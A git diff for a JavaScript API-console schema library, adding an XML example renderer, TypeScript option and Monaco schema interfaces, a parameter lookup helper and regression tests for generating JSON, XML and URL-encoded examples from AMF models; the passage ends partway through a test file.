+  [fileShapeObject](schema) {
+    return super[fileShapeObject](schema);
+  }
+
+  [schemaShapeObject](schema) {
+    return super[schemaShapeObject](schema);
+  }
+
+  [tupleShapeObject](schema) {
+    return super[tupleShapeObject](schema);
+  }
+
+  /**
+   * @param {ApiAnyShape} schema 
+   * @returns {string}
+   */
+  [anyShapeObject](schema) {
+    const { examples=[] } = schema;
+    const label = shapeToXmlTagName(schema);
+    if (this.opts.renderExamples && examples && examples.length) {
+      const example = examples.find((item) => !!item.value);
+      const value = this[exampleToObject](example);
+      const parts = [];
+      if (typeof value !== 'undefined') {
+        const valueFill = `    `;
+        parts.push(`<${label}>`);
+        parts.push(`${valueFill}${value}`);
+        parts.push(`</${label}>`);
+      }
+      return parts.join('\n');
+    }
+    return super[anyShapeObject](schema);
+  }
+}
diff --git a/src/types.d.ts b/src/types.d.ts
index 51ae71e..4d899ec 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -1,5 +1,5 @@
 import { HTTPRequest, RequestAuthorization } from '@advanced-rest-client/arc-types/src/request/ArcRequest';
-import { ApiParameter, ApiShapeUnion, ApiSecurityRequirement, ApiServer, ApiEndPoint } from './helpers/api';
+import { ApiParameter, ApiShapeUnion, ApiSecurityRequirement, ApiServer, ApiEndPoint, ApiExample } from './helpers/api';
 import { default as XhrSimpleRequestTransportElement } from './elements/XhrSimpleRequestTransportElement';
 
 export declare interface ApiConsoleRequest extends HTTPRequest {
@@ -250,3 +250,97 @@ export declare interface TargetModel {
   _typeIds?: string[];
   _basePaths?: string[];
 }
+
+export declare interface SchemaExample extends ApiExample {
+  /**
+   * The value to render as the example value.
+   */
+  renderValue?: string;
+  label?: string;
+}
+
+export declare interface ShapeRenderOptions {
+  /**
+   * All selected unions in the current view.
+   * When the processor encounter an union it checks this array
+   * to pick the selected union.
+   * When the selected union cannot be determined it picks the first union.
+   */
+  selectedUnions?: string[];
+  /**
+   * Whether to include optional fields into the schema.
+   * @default false
+   */
+  renderOptional?: boolean;
+  /**
+   * When set it uses the data mocking library to generate the values
+   * when examples and default are not set.
+   */
+  renderMocked?: boolean;
+  /**
+   * The library **always** uses default values in the schema.
+   * When a default value is not set by default it inserts an empty value for 
+   * the given data type ('', false, null, random date). When this is set
+   * it includes examples in the generated value.
+   */
+  renderExamples?: boolean;
+}
+
+export interface MonacoSchema {
+  uri: string;
+  schema: MonacoProperty;
+  fileMatch?: string[];
+}
+
+export interface MonacoProperty {
+  $id?: string;
+  title: string;
+  type: string;
+  description?: string;
+  readOnly?: boolean;
+  writeOnly?: boolean;
+}
+
+export interface MonacoScalarProperty extends MonacoProperty {
+  default?: string;
+  pattern?: string;
+  format?: string;
+  exclusiveMaximum?: boolean;
+  exclusiveMinimum?: boolean;
+  maxLength?: number;
+  minLength?: number;
+  minimum?: number;
+  maximum?: number;
+  multipleOf?: number;
+  enum?: string[];
+}
+
+export interface MonacoObjectProperty extends MonacoProperty {
+  properties: Record<string, MonacoProperty>;
+  required: string[];
+  additionalProperties?: boolean;
+  minProperties?: number;
+  maxProperties?: number;
+}
+
+export interface MonacoArrayProperty extends MonacoProperty {
+  additionalItems?: boolean;
+  items: {
+    anyOf: MonacoProperty[]
+  }
+  uniqueItems?: boolean;
+  minItems?: number;
+  maxItems?: number;
+  required: string[];
+}
+
+export interface ApiSchemaReadOptions {
+  /**
+   * Whether the value should be read only when the required property is set.
+   */
+  requiredOnly?: boolean;
+  /**
+   * Whether to read the examples to generate the value.
+   */
+  fromExamples?: boolean;
+}
diff --git a/test/AmfLoader.js b/test/AmfLoader.js
index b5e2b89..d14c800 100644
--- a/test/AmfLoader.js
+++ b/test/AmfLoader.js
@@ -21,6 +21,7 @@ import { AmfSerializer } from '../src/helpers/AmfSerializer.js';
 /** @typedef {import('../src/helpers/api').ApiShapeUnion} ApiShapeUnion */
 /** @typedef {import('../src/helpers/api').ApiDocumentation} ApiDocumentation */
 /** @typedef {import('../src/helpers/api').ApiServer} ApiServer */
+/** @typedef {import('../src/helpers/api').ApiParameter} ApiParameter */
 
 /**
  * @typedef EndpointOperation
@@ -519,4 +520,45 @@ export class AmfLoader extends AmfHelperMixin(Object) {
     }
     return payload;
   }
+
+  /**
+   * Reads a request parameter from an operation for: URI, query params, headers, and cookies.
+   * 
+   * @param {AmfDocument} model 
+   * @param {string} endpoint The endpoint path
+   * @param {string} operation The operation path
+   * @param {string} param The param name
+   * @returns {ApiParameter} 
+   */
+  getParameter(model, endpoint, operation, param) {
+    const expects = this.lookupExpects(model, endpoint, operation);
+    if (!expects) {
+      throw new Error(`The operation ${operation} of endpoint ${endpoint} has no request.`);
+    }
+
+    const serializer = new AmfSerializer(model);
+    const request = serializer.request(expects);
+    if (!request) {
+      throw new Error(`The operation ${operation} of endpoint ${endpoint} has no request.`);
+    }
+    /** @type ApiParameter[] */
+    let pool = [];
+    if (Array.isArray(request.uriParameters)) {
+      pool = pool.concat(request.uriParameters);
+    }
+    if (Array.isArray(request.cookieParameters)) {
+      pool = pool.concat(request.cookieParameters);
+    }
+    if (Array.isArray(request.queryParameters)) {
+      pool = pool.concat(request.queryParameters);
+    }
+    if (Array.isArray(request.headers)) {
+      pool = pool.concat(request.headers);
+    }
+    const result = pool.find(i => i.name === param);
+    if (!result) {
+      throw new Error(`Parameter ${param} not found.`);
+    }
+    return result;
+  }
 }
diff --git a/test/generators/APIC-187.test.js b/test/generators/APIC-187.test.js
new file mode 100644
index 0000000..8bfeb58
--- /dev/null
+++ b/test/generators/APIC-187.test.js
@@ -0,0 +1,52 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('APIC-187', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const apiFile = 'APIC-187';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      [
+        ['AS400CityName', 'string', 'Omaha, DG'],
+        ['AS400ECM', 'number', 401571.6],
+        ['AcquiredDate', 'string', '2019-01-16'],
+        ['Age', 'number', 1],
+        ['TransmissionRearRearSN', 'string', '1'],
+        ['TransmissionRearRatio', 'number', 1],
+        ['Weight', 'number', 9300],
+        ['Year', 'string', '2016'],
+      ].forEach(item => {
+        it(`returns ${item[1]} type (${item[0]})`, () => {
+          const datatype = /** @type string */ (item[1]);
+          const payload = loader.getPayloads(model, '/record', 'post')[0];
+          const anyShape = /** @type ApiAnyShape */ (payload.schema);
+          const result = ApiSchemaGenerator.asExample(anyShape, jsonMime, {
+            renderExamples: true,
+            renderOptional: true,
+          });
+
+          const data = JSON.parse(String(result.renderValue));
+          assert.typeOf(
+            data.records[0][item[0]],
+            datatype,
+            'Data type matches'
+          );
+          assert.equal(data.records[0][item[0]], item[2], 'Value matches');
+        });
+      });
+    });
+  });
+});
diff --git a/test/generators/APIC-188.test.js b/test/generators/APIC-188.test.js
new file mode 100644
index 0000000..35df4d2
--- /dev/null
+++ b/test/generators/APIC-188.test.js
@@ -0,0 +1,36 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('APIC-188', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const apiFile = 'APIC-188';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it(`computes a false example`, () => {
+        const payload = loader.getPayloads(model, '/record', 'post')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, jsonMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+
+        const data = JSON.parse(String(result.renderValue));
+        assert.isFalse(data.allOrNone);
+        assert.typeOf(data.records, 'array');
+      });
+    });
+  });
+});
diff --git a/test/generators/APIC-233.test.js b/test/generators/APIC-233.test.js
new file mode 100644
index 0000000..e2e9921
--- /dev/null
+++ b/test/generators/APIC-233.test.js
@@ -0,0 +1,39 @@
+import { assert } from '@open-wc/testing';
+import { ApiExampleGenerator } from '../../src/schema/ApiExampleGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('APIC-233', () => {
+  const loader = new AmfLoader();
+  const jsonMime = 'application/json';
+  const apiFile = 'APIC-233';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type ApiExampleGenerator */
+      let reader;
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+        reader = new ApiExampleGenerator();
+      });
+
+      it('renders examples for arabic letters', () => {
+        const payload = loader.getResponsePayloads(model, '/stuff', 'get', '200')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        
+        const result = reader.read(anyShape.examples[0], jsonMime);
+        const body = JSON.parse(result);
+        assert.typeOf(body, 'object', 'has the result');
+        assert.deepEqual(body, {
+          "الحالة": "حسنا",
+          "message": "Shop in الممل"
+        });
+      });
+    });
+  });
+});
diff --git a/test/generators/APIC-391.test.js b/test/generators/APIC-391.test.js
new file mode 100644
index 0000000..2240056
--- /dev/null
+++ b/test/generators/APIC-391.test.js
@@ -0,0 +1,45 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('APIC-391', () => {
+  const loader = new AmfLoader();
+  const xmlMime = 'application/xml';
+  const apiFile = 'APIC-391';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('generate XML tags correctly for payloads examples', () => {
+        const payload = loader.getPayloads(model, '/shipment-requests', 'post')[0];
+        
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.equal(result.renderValue,
+          '<unknown-type>\n' +
+          '  <address>250 HIDEOUT LN</address>\n' +
+          '  <comments>Orgin comments entered here.</comments>\n' +
+          '  <references>\n' +
+          '    <referenceType>Delivery Note</referenceType>\n' +
+          '    <referenceValue>7328</referenceValue>\n' +
+          '  </references>\n' +
+          '</unknown-type>',
+        );
+
+      });
+    });
+  });
+});
diff --git a/test/generators/APIC-487.test.js b/test/generators/APIC-487.test.js
new file mode 100644
index 0000000..b65b1b7
--- /dev/null
+++ b/test/generators/APIC-487.test.js
@@ -0,0 +1,50 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('APIC-487', () => {
+  const loader = new AmfLoader();
+  const xmlMime = 'application/xml';
+  const apiFile = 'APIC-487';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('returns an example when not XML wrapped', () => {
+        const payload = loader.getResponsePayloads(model, '/test1', 'get', '200')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+        });
+        
+        assert.typeOf(result, 'object', 'generates the example');
+        const expectedExample =
+          '<Person>\n  <addresses>\n    <street></street>\n    <city></city>\n  </addresses>\n</Person>';
+        assert.equal(result.renderValue, expectedExample);
+      });
+
+      it('returns an example when XML wrapped', () => {
+        const payload = loader.getResponsePayloads(model, '/test2', 'post', '200')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+        });
+        
+        assert.typeOf(result, 'object', 'generates the example');
+        const expectedExample =
+          '<WrappedPerson>\n  <addresses>\n    <Address>\n      <street></street>\n      <city></city>\n    </Address>\n  </addresses>\n</WrappedPerson>';
+        // this RAML has no name defined for a wrapped property so it inherits the name from the parent.
+        assert.equal(result.renderValue, expectedExample);
+      });
+    });
+  });
+});
diff --git a/test/generators/APIC-655.test.js b/test/generators/APIC-655.test.js
new file mode 100644
index 0000000..8ad48a3
--- /dev/null
+++ b/test/generators/APIC-655.test.js
@@ -0,0 +1,47 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('APIC-655', () => {
+  const loader = new AmfLoader();
+  const xmlMime = 'application/xml';
+  const apiFile = 'APIC-655';
+
+  [ true, false ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('generate XML tags correctly for payloads examples', () => {
+        const payload = loader.getPayloads(model, '/delivery', 'post')[0];
+        
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+          renderOptional: true,
+        });
+        
+        assert.equal(result.renderValue,
+          '<Delivery>\n' +
+          '  <orderId>732482783718</orderId>\n' +
+          '  <lineItems>\n' +
+          '    <lineItemId>9738187235</lineItemId>\n' +
+          '    <qty>10</qty>\n' +
+          '  </lineItems>\n' +
+          '  <lineItems>\n' +
+          '    <lineItemId>9832837238</lineItemId>\n' +
+          '    <qty>70</qty>\n' +
+          '  </lineItems>\n' +
+          '</Delivery>'
+        );
+      });
+    });
+  });
+});
diff --git a/test/generators/APIC-689.test.js b/test/generators/APIC-689.test.js
new file mode 100644
index 0000000..0facfd4
--- /dev/null
+++ b/test/generators/APIC-689.test.js
@@ -0,0 +1,36 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaValues } from '../../src/schema/ApiSchemaValues.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiScalarShape} ApiScalarShape */
+
+describe('ApiSchemaValues', () => {
+  describe('APIC-689', () => {
+    const apiFile = 'APIC-689';
+    const loader = new AmfLoader();
+
+    [true, false].forEach((compact) => {
+      describe(compact ? 'Compact model' : 'Full model', () => {
+        /** @type AmfDocument */
+        let model;
+
+        before(async () => {
+          model = await loader.getGraph(compact, apiFile);
+        });
+
+        it('does not set URL query param for an optional enum', async () => {
+          const param = loader.getParameter(model, '/test', 'get', 'param1');
+          const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { requiredOnly: true });
+          assert.isUndefined(result, 'has the empty default value (from schema type)');
+        });
+
+        it('returns the first enum value', async () => {
+          const param = loader.getParameter(model, '/test', 'post', 'param1');
+          const result = ApiSchemaValues.readInputValue(param, /** @type ApiScalarShape */ (param.schema), { requiredOnly: true });
+          assert.equal(result, 'A', 'has the first enum type');
+        });
+      });
+    });
+  });
+});
diff --git a/test/generators/APIC-690.test.js b/test/generators/APIC-690.test.js
new file mode 100644
index 0000000..2d5c6f5
--- /dev/null
+++ b/test/generators/APIC-690.test.js
@@ -0,0 +1,62 @@
+import { assert } from '@open-wc/testing';
+import { ApiSchemaGenerator } from '../../src/schema/ApiSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+
+describe('APIC-690', () => {
+  const loader = new AmfLoader();
+  const xmlMime = 'application/xml';
+  const apiFile = 'APIC-690';
+
+  [ true ].forEach((compact) => {
+    describe(compact ? 'Compact model' : 'Full model', () => {
+      /** @type AmfDocument */
+      let model;
+
+      before(async () => {
+        model = await loader.getGraph(compact, apiFile);
+      });
+
+      it('generates xml examples for an array body', () => {
+        const payload = loader.getResponsePayloads(model, '/customers', 'get', '200')[0];
+        const anyShape = /** @type ApiAnyShape */ (payload.schema);
+        const result = ApiSchemaGenerator.asExample(anyShape, xmlMime, {
+          renderExamples: true,
+        });
+  
+        assert.typeOf(result, 'object', 'generates the example');
+        assert.typeOf(result.renderValue, 'string', 'has the value');
+        
+        const parser = new DOMParser();
+        const schema = parser.parseFromString(`<root>${result.renderValue}</root>`, xmlMime);
+        
+        const root = schema.querySelector('root');
+        const nodes = root.querySelectorAll('schema');
+        assert.lengthOf(nodes, 2, 'has both examples generated');
+        const testNode = nodes[1];
+        
+        assert.equal(testNode.querySelector('customerID').textContent.trim(), '1fe1c22s-3d3a-9n3v', 'has the customerID');
+        assert.equal(testNode.querySelector('firstName').textContent.trim(), 'Molly', 'has the firstName');
+        assert.equal(testNode.querySelector('lastName').textContent.trim(), 'Mule', 'has the lastName');
+        assert.equal(testNode.querySelector('displayName').textContent.trim(), 'Molly the Mule', 'has the displayName');
+        assert.equal(testNode.querySelector('phone').textContent.trim(), '415-000-0000', 'has the phone');
+        assert.equal(testNode.querySelector('email').textContent.trim(), 'molly@mulesoft.com', 'has the email');
+        assert.equal(testNode.querySelector('ssn').textContent.trim(), '321-654-0987', 'has the ssn');
+        assert.equal(testNode.querySelector('dateOfBirth').textContent.trim(), '1990-09-04', 'has the dateOfBirth');
+        
+        const address = testNode.querySelector('address');
+        assert.ok(address, 'has the address node');
+    
+        assert.equal(address.querySelector('addressLine1').textContent.trim(), '123 Street', 'has the address.addressLine1');
+        assert.equal(address.querySelector('addressLine2').textContent.trim(), 'Apt.#3D', 'has the address.addressLine2');
+        assert.equal(address.querySelector('city').textContent.trim(), 'San Francisco', 'has the address.city');
+        assert.equal(address.querySelector('state').textContent.trim(), 'California', 'has the address.state');
+        assert.equal(address.querySelector('zipCode').textContent.trim(), '94110', 'has the address.zipCode');
+        assert.equal(address.querySelector('country').textContent.trim(), 'United States', 'has the address.country');
+      });
+
+    });
+  });
+});
diff --git a/test/generators/ApiExampleGenerator.test.js b/test/generators/ApiExampleGenerator.test.js
new file mode 100644
index 0000000..3d01c7c
--- /dev/null
+++ b/test/generators/ApiExampleGenerator.test.js
@@ -0,0 +1,237 @@
+import { assert } from '@open-wc/testing';
+import { ns } from '../../src/helpers/Namespace.js';
+import { ApiExampleGenerator } from '../../src/schema/ApiExampleGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiAnyShape} ApiAnyShape */
+/** @typedef {import('../../').Api.ApiExample} ApiExample */
+
+describe('ApiExampleGenerator', () => {
+  const loader = new AmfLoader();
+
+  const jsonMime = 'application/json';
+  const xmlMime = 'application/xml';
+  const urlEncodedMime = 'application/x-www-form-urlencoded';
+
+  describe('read()', () => {
+    /** @type ApiExampleGenerator */
+    let reader;
+    /** @type AmfDocument */
+    let model;
+
+    before(async () => {
+      model = await loader.getGraph(true, 'schema-api');
+      reader = new ApiExampleGenerator();
+    });
+
+    describe(jsonMime, () => {
+      it('returns null when no value and no structured value', () => {
+        const example = /** @type ApiExample */ ({
+          id: '',
+          strict: true,
+          types: [ns.aml.vocabularies.document.NamedExamples]
+        });
+        const result = reader.read(example, jsonMime);
+        assert.strictEqual(result, null);
+      });
+
+      it('returns the value when no mime type', () => {
+        const example = /** @type ApiExample */ ({
+          id: '',
+          strict: true,
+          types: [ns.aml.vocabularies.document.NamedExamples],
+          value: 'test'
+        });
+        const result = reader.read(example);
+        assert.strictEqual(result, 'test');
+      });
+
+      it('returns the value when corresponds to the mime type', () => {
+        const example = /** @type ApiExample */ ({
+          id: '',
+          strict: true,
+          types: [ns.aml.vocabularies.document.NamedExamples],
+          value: '[]'
+        });
+        const result = reader.read(example, jsonMime);
+        assert.strictEqual(result, '[]');
+      });
+
+      it('reads a number scalar value', () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'ScalarNumberWithExample'));
+        const result = reader.read(shape.examples[0], jsonMime);
+        assert.strictEqual(result, '24');
+      });
+
+      it('reads a string array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'StringArrayExample'));
+        const result = reader.read(shape.examples[0], jsonMime);
+        const parsed = JSON.parse(result);
+        assert.deepEqual(parsed, ["test", "other"]);
+      });
+
+      it('reads a number array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'NumberArrayExample'));
+        const result = reader.read(shape.examples[0], jsonMime);
+        const parsed = JSON.parse(result);
+        assert.deepEqual(parsed, [1, 2]);
+      });
+
+      it('reads a complex value value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'ScalarObjectUnionExample'));
+        const result = reader.read(shape.examples[0], jsonMime);
+        const parsed = JSON.parse(result);
+        assert.strictEqual(parsed.name, 'Pawel Uchida-Psztyc', 'has example.name');
+        assert.strictEqual(parsed.id, '128a654bc54d898e43f', 'has example.id');
+        assert.strictEqual(parsed.age, 30, 'has example.age');
+        assert.strictEqual(parsed.sex, 'male', 'has example.sex');
+        assert.strictEqual(parsed.newsletter, false, 'has example.newsletter');
+        assert.strictEqual(parsed.tosAccepted, true, 'has example.tosAccepted');
+      });
+    });
+
+    describe(xmlMime, () => {
+      it('returns the value when corresponds to the mime type', () => {
+        const example = /** @type ApiExample */ ({
+          id: '',
+          strict: true,
+          types: [ns.aml.vocabularies.document.NamedExamples],
+          value: '<feed></feed>'
+        });
+        const result = reader.read(example, xmlMime);
+        assert.strictEqual(result, '<feed></feed>');
+      });
+
+      it('reads a number scalar value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'ScalarNumberWithExample'));
+        const result = reader.read(shape.examples[0], xmlMime, shape);
+        assert.strictEqual(result, '<ScalarNumberWithExample>24</ScalarNumberWithExample>');
+      });
+      
+      it('reads a string array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'StringArrayExample'));
+        const result = reader.read(shape.examples[0], xmlMime, shape);
+        
+        const parser = new DOMParser();
+        const schema = parser.parseFromString(`<root>${result}</root>`, xmlMime);
+
+        const nodes = schema.querySelectorAll('StringArrayExample');
+        assert.lengthOf(nodes, 2, 'has both example values');
+        assert.equal(nodes[0].textContent.trim(), 'test', 'has first example value');
+        assert.equal(nodes[1].textContent.trim(), 'other', 'has second example value');
+      });
+
+      it('reads an object array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'XmlArrayExample'));
+        const result = reader.read(shape.examples[0], xmlMime, shape);
+
+        const parser = new DOMParser();
+        const schema = parser.parseFromString(result, xmlMime);
+
+        const root = schema.querySelector('XmlArrayExample');
+        assert.ok(root, 'has the root node');
+        const street = root.querySelector('street');
+        const city = root.querySelector('city');
+        assert.ok(street, 'has the street node');
+        assert.ok(city, 'has the city node');
+        assert.equal(street.textContent.trim(), '1234 Market street');
+        assert.equal(city.textContent.trim(), 'San Francisco');
+      });
+
+      it('reads a number array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'NumberArrayExample'));
+        const result = reader.read(shape.examples[0], xmlMime, shape);
+        
+        const parser = new DOMParser();
+        const schema = parser.parseFromString(`<root>${result}</root>`, xmlMime);
+
+        const nodes = schema.querySelectorAll('NumberArrayExample');
+        assert.lengthOf(nodes, 2, 'has both example values');
+        assert.equal(nodes[0].textContent.trim(), '1', 'has first example value');
+        assert.equal(nodes[1].textContent.trim(), '2', 'has second example value');
+      });
+
+      it('reads a complex value value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'ScalarObjectUnionExample'));
+        const result = reader.read(shape.examples[0], xmlMime, shape);
+        
+        const parser = new DOMParser();
+        const schema = parser.parseFromString(result, xmlMime);
+
+        const root = schema.querySelector('ScalarObjectUnionExample');
+        assert.ok(root, 'has the root node');
+        const name = root.querySelector('name');
+        const id = root.querySelector('id');
+        const age = root.querySelector('age');
+        const sex = root.querySelector('sex');
+        const newsletter = root.querySelector('newsletter');
+        const tosAccepted = root.querySelector('tosAccepted');
+        assert.ok(name, 'has the name node');
+        assert.ok(id, 'has the id node');
+        assert.ok(age, 'has the age node');
+        assert.ok(sex, 'has the sex node');
+        assert.ok(newsletter, 'has the newsletter node');
+        assert.ok(tosAccepted, 'has the tosAccepted node');
+        assert.equal(name.textContent.trim(), 'Pawel Uchida-Psztyc');
+        assert.equal(id.textContent.trim(), '128a654bc54d898e43f');
+        assert.equal(age.textContent.trim(), '30');
+        assert.equal(sex.textContent.trim(), 'male');
+        assert.equal(newsletter.textContent.trim(), 'false');
+        assert.equal(tosAccepted.textContent.trim(), 'true');
+      });
+    });
+
+    describe(urlEncodedMime, () => {
+      it('returns the value when corresponds to the mime type', () => {
+        const example = /** @type ApiExample */ ({
+          id: '',
+          strict: true,
+          types: [ns.aml.vocabularies.document.NamedExamples],
+          value: 'a=b&c=d'
+        });
+        const result = reader.read(example, urlEncodedMime);
+        assert.strictEqual(result, 'a=b&c=d');
+      });
+
+      it('reads a number scalar value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'ScalarNumberWithExample'));
+        const result = reader.read(shape.examples[0], urlEncodedMime, shape);
+        assert.strictEqual(result, 'ScalarNumberWithExample=24');
+      });
+      
+      it('reads a string array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'StringArrayExample'));
+        const result = reader.read(shape.examples[0], urlEncodedMime, shape);
+
+        assert.strictEqual(result, 'StringArrayExample[]=test&StringArrayExample[]=other');
+      });
+
+      it('reads an object array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'XmlArrayExample'));
+        const result = reader.read(shape.examples[0], urlEncodedMime, shape);
+        
+        assert.strictEqual(result, 'street=1234+Market+street&city=San+Francisco');
+      });
+
+      it('reads a number array value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'NumberArrayExample'));
+        const result = reader.read(shape.examples[0], urlEncodedMime, shape);
+
+        assert.strictEqual(result, 'NumberArrayExample[]=1&NumberArrayExample[]=2');
+      });
+
+      it('reads a complex value value', async () => {
+        const shape = /** @type ApiAnyShape */ (loader.getShape(model, 'ScalarObjectUnionExample'));
+        const result = reader.read(shape.examples[0], urlEncodedMime, shape);
+        const parsed = new URLSearchParams(result);
+        assert.equal(parsed.get('name'), 'Pawel Uchida-Psztyc');
+        assert.equal(parsed.get('id'), '128a654bc54d898e43f');
+        assert.equal(parsed.get('age'), '30');
+        assert.equal(parsed.get('sex'), 'male');
+        assert.equal(parsed.get('newsletter'), 'false');
+        assert.equal(parsed.get('tosAccepted'), 'true');
+      });
+    });
+  });
+});
diff --git a/test/generators/ApiMonacoSchemaGenerator.test.js b/test/generators/ApiMonacoSchemaGenerator.test.js
new file mode 100644
index 0000000..fcea10a
--- /dev/null
+++ b/test/generators/ApiMonacoSchemaGenerator.test.js
@@ -0,0 +1,182 @@
+import { assert } from '@open-wc/testing';
+import { ns } from '../../src/helpers/Namespace.js';
+import { ApiMonacoSchemaGenerator } from '../../src/schema/ApiMonacoSchemaGenerator.js';
+import { AmfLoader } from '../AmfLoader.js';
+
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Api.ApiExample} ApiExample */
+/** @typedef {import('../../src/types').MonacoObjectProperty} MonacoObjectProperty */
+/** @typedef {import('../../src/types').MonacoScalarProperty} MonacoScalarProperty */
+/** @typedef {import('../../src/types').MonacoArrayProperty} MonacoArrayProperty */
+
+describe('ApiMonacoSchemaGenerator', () => {
+  const loader = new AmfLoader();
+
+  describe('generate()', () => {
+    const parentUri = 'https://domain.com';
+
+    /** @type ApiMonacoSchemaGenerator */
+    let reader;
+    /** @type AmfDocument */
+    let model;
+
+    before(async () => {
+      model = await loader.getGraph(true, 'schema-api');
+      reader = new ApiMonacoSchemaGenerator();
+    });
+
+    it('creates a schema for an object', async () => {
+      const shape = loader.getShape(model, 'SimpleObject');
+      const result = reader.generate(shape, parentUri);
+
+      assert.typeOf(result, 'array', 'result is an array');
+      const [object] = result;
+      assert.equal(object.uri, shape.id, 'has uri');
+      assert.deepEqual(object.fileMatch, [parentUri], 'has fileMatch');
+      const schema = /** @type MonacoObjectProperty */ (object.schema);
+      assert.typeOf(schema, 'object', 'has schema');
+      
+      assert.equal(schema.title, 'SimpleObject', 'has schema.title');
+      assert.equal(schema.type, 'object', 'has schema.type');
+      assert.typeOf(schema.properties, 'object', 'has schema.properties');
+      assert.deepEqual(schema.required, [ 'id', 'name', 'sex', 'tosAccepted' ], 'has schema.required');
+
+      const id = /** @type MonacoScalarProperty */ (schema.properties.id);
